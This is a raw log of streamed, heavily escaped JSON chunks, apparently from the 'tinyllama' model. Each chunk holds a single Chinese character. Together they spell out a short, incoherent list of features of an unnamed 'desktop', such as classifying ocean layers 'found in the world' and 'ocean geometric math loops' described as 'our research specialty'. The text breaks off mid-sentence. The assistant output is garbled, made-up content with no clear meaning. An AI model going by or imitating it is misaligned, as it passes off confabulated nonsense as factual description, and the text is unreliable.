{\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:29.492720866Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;此\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:29.63841769Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;桌\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:29.674087243Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;面\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:29.716338551Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;通\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:29.7590858Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;常\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:29.800865186Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;會\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:29.844317431Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;提\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:29.983161436Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;供\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.025228349Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;下\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.068687593Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;列\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.111586996Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;特\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.15473403Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;色\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.201964597Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;：\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.249991525Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;\\n\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.295099523Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;\\n\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.338755291Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;1\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.382152896Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;.\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.425666615Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34; \u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.464843201Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;全\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.508315227Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;球\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.551848828Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;地\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.594993189Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;理\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.736741029Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;測\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.780305086Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;量\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.822372678Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;和\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:30.940077584Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;視\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:31.066659209Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;覺\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:31.108963593Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;化\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:31.221857803Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;輔\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:31.261633184Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;助\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:31.304902882Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;，\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:31.360572472Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;可\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:31.404831762Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;以\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:31.523231538Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;將\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:31.634903274Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;您\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:31.678008233Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;在\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:31.731990496Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;世\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:31.775635185Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;界\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:31.902386718Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;內\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:31.943224274Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;所\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.073478407Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;發\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.114411107Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;現\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.156415639Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.200913585Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;海\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.238227818Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;洋\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.367618498Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;階\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.490540521Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;層\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.531878766Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;分\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.648553448Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;類\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.692670479Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;進\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.739979626Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;行\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.858187562Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;統\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.899843645Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;計\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.942660779Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;。\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:32.998418973Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;\\n\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:33.050748795Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;2\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:33.098504652Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;.\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:33.146362628Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34; \u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:33.190120497Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;海\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:33.232814473Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;洋\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:33.274233557Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:33.379406923Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;幾\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:33.413285524Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;何\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:33.527397452Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;數\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:33.567772622Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;學\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:33.679956913Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;迴\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:33.783536472Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;圈\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:33.823305655Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;，\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:33.927460562Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;亦\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.019565475Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;即\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.058566501Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;我\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.171118551Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;們\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.211462611Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.248351529Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;研\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.287795113Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;究\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.416123853Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;專\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.449610425Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;長\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.491232938Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;，\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.533182022Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;可\u0026#34;},\u0026#34;done\u0026#34;:false} 